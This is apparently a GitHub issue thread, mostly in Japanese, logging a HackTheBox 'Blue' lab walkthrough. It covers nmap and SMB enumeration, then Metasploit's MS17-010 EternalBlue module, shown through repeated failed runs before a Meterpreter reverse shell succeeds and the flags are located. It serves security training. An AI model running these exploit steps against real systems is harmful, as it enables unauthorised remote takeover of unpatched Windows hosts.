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HackTheBox: Blue (Machine Easy) #1

Open roaris opened 4 months ago

roaris commented 4 months ago

https://app.hackthebox.com/machines/Blue

$ nmap -sC -sV -Pn 10.10.10.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-23 00:51 JST
Nmap scan report for 10.10.10.40
Host is up (0.41s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 3s, deviation: 1s, median: 2s
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled but not required
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-02-22T15:53:23+00:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time:
|   date: 2024-02-22T15:53:26
|_  start_date: 2024-02-22T15:39:21

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.85 seconds
roaris commented 4 months ago

https://e-words.jp/w/SMB.html SMB(Server Message Block) LAN上の複数のWindowsコンピュータの間でファイル共有やプリンタ共有を行うためのプロトコル 445番ポートで動く

roaris commented 4 months ago 
$ smbclient -L 10.10.10.40
Password for [WORKGROUP\roaris]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        Share           Disk
        Users           Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.40 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

ユーザ名が指定されなかった場合は、ローカルマシンのユーザ名が使用される(何かしらユーザ名がないと、SMBプロトコルでエラーになるため)

roaris commented 4 months ago

windows7 smb exploitで検索すると、MS17-010というのが出てくる https://learn.microsoft.com/ja-jp/security-updates/securitybulletins/2017/ms17-010 SMBサーバに細工したメッセージを送ることで、リモートコード実行が出来るという脆弱性

WannaCryはMS17-010を介して広まった https://japan.zdnet.com/article/35114798/

roaris commented 4 months ago

Metasploitを使う

msf6 > search MS17-010

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution

Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce
roaris commented 4 months ago

とりあえず1番上のを使ってみる 一番初めは成功し、リバースシェル出来たが、もう一度やろうとすると失敗した

msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.40
RHOSTS => 10.10.10.40
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.10.16.3
LHOST => 10.10.16.3
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 10.10.16.3:4444
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[-] 10.10.10.40:445       - An SMB Login Error occurred while connecting to the IPC$ tree.
[*] 10.10.10.40:445       - Scanned 1 of 1 hosts (100% complete)
[-] 10.10.10.40:445 - The target is not vulnerable.
[*] Exploit completed, but no session was created.

2番目のも上手くいかなかった

msf6 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/smb/ms17_010_psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 10.10.10.40
RHOSTS => 10.10.10.40
msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST 10.10.16.3
LHOST => 10.10.16.3
msf6 exploit(windows/smb/ms17_010_psexec) > exploit

[*] Started reverse TCP handler on 10.10.16.3:4444
[*] 10.10.10.40:445 - Target OS: Windows 7 Professional 7601 Service Pack 1
[*] 10.10.10.40:445 - Built a write-what-where primitive...
[+] 10.10.10.40:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.10.10.40:445 - Selecting PowerShell target
[*] 10.10.10.40:445 - Executing the payload...
[-] 10.10.10.40:445 - Msf::Exploit::Failed
[-] 10.10.10.40:445 - 10.10.10.40:445 - Unable to execute the specified command (error: execution expired)
[-] 10.10.10.40:445 - /opt/metasploit-framework/embedded/framework/lib/msf/core/exploit.rb:1359:in `fail_with'
/opt/metasploit-framework/embedded/framework/lib/msf/core/exploit/remote/smb/client/psexec.rb:289:in `rescue in execute_powershell_payload'
/opt/metasploit-framework/embedded/framework/lib/msf/core/exploit/remote/smb/client/psexec.rb:284:in `execute_powershell_payload'
/opt/metasploit-framework/embedded/framework/modules/exploits/windows/smb/ms17_010_psexec.rb:156:in `smb_pwn'
/opt/metasploit-framework/embedded/framework/modules/exploits/windows/smb/ms17_010_psexec.rb:129:in `exploit'
/opt/metasploit-framework/embedded/framework/lib/msf/core/exploit_driver.rb:228:in `job_run_proc'
/opt/metasploit-framework/embedded/framework/lib/msf/core/exploit_driver.rb:181:in `run'
/opt/metasploit-framework/embedded/framework/lib/msf/base/simple/exploit.rb:144:in `exploit_simple'
/opt/metasploit-framework/embedded/framework/lib/msf/base/simple/exploit.rb:172:in `exploit_simple'
/opt/metasploit-framework/embedded/framework/lib/msf/ui/console/command_dispatcher/exploit.rb:45:in `exploit_single'
/opt/metasploit-framework/embedded/framework/lib/msf/ui/console/command_dispatcher/exploit.rb:188:in `cmd_exploit'
/opt/metasploit-framework/embedded/framework/lib/rex/ui/text/dispatcher_shell.rb:581:in `run_command'
/opt/metasploit-framework/embedded/framework/lib/rex/ui/text/dispatcher_shell.rb:530:in `block in run_single'
/opt/metasploit-framework/embedded/framework/lib/rex/ui/text/dispatcher_shell.rb:524:in `each'
/opt/metasploit-framework/embedded/framework/lib/rex/ui/text/dispatcher_shell.rb:524:in `run_single'
/opt/metasploit-framework/embedded/framework/lib/rex/ui/text/shell.rb:165:in `block in run'
/opt/metasploit-framework/embedded/framework/lib/rex/ui/text/shell.rb:309:in `block in with_history_manager_context'
/opt/metasploit-framework/embedded/framework/lib/rex/ui/text/shell/history_manager.rb:33:in `with_context'
/opt/metasploit-framework/embedded/framework/lib/rex/ui/text/shell.rb:306:in `with_history_manager_context'
/opt/metasploit-framework/embedded/framework/lib/rex/ui/text/shell.rb:133:in `run'
/opt/metasploit-framework/embedded/framework/lib/metasploit/framework/command/console.rb:54:in `start'
/opt/metasploit-framework/embedded/framework/lib/metasploit/framework/command/base.rb:82:in `start'
/opt/metasploit-framework/bin/../embedded/framework/msfconsole:23:in `<main>'
[*] Exploit completed, but no session was created.

3番目 ~ 5番目は違うだろう(3番目と4番目はauxiliary(補助)とあるし、5番目はMS17_010を使うものではなさそう(なんで検索結果に出てきたのか...))

roaris commented 4 months ago

解説を読んだ https://qiita.com/mariydi/items/ebd7a81696abdfe5b35c 1番目のモジュールで良いらしい もう一度実行すると、さっきと実行結果が変わったが、相変わらず失敗する 謎

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 10.10.16.3:4444
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445       - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.10.40:445 - The target is vulnerable.
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[-] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 17 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[-] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 22 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[-] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Exploit completed, but no session was created.
roaris commented 4 months ago

何回やってもダメだったが、Machineを再起動したら成功した https://tk-secu.hateblo.jp/entry/2018/02/15/234717 によると、sysinfoでシステム情報を確認出来るらしい

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 10.10.16.3:4444
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445       - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.10.40:445 - The target is vulnerable.
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Sending stage (201798 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened (10.10.16.3:4444 -> 10.10.10.40:49160) at 2024-02-23 02:52:53 +0900
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > sysinfo
Computer        : HARIS-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_GB
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter >
roaris commented 4 months ago

shellでシェルを起動出来る

meterpreter > shell
Process 2260 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>
roaris commented 4 months ago

フラグを見つけて終わり

C:\Windows\system32>cd ../..
cd ../..

C:\>dir /s user.txt
dir /s user.txt
 Volume in drive C has no label.
 Volume Serial Number is BE92-053B

 Directory of C:\Users\haris\Desktop

22/02/2024  17:52                34 user.txt
               1 File(s)             34 bytes

     Total Files Listed:
               1 File(s)             34 bytes
               0 Dir(s)   2,428,407,808 bytes free

C:\>dir /s root.txt
dir /s root.txt
 Volume in drive C has no label.
 Volume Serial Number is BE92-053B

 Directory of C:\Users\Administrator\Desktop

22/02/2024  17:52                34 root.txt
               1 File(s)             34 bytes

     Total Files Listed:
               1 File(s)             34 bytes
               0 Dir(s)   2,429,362,176 bytes free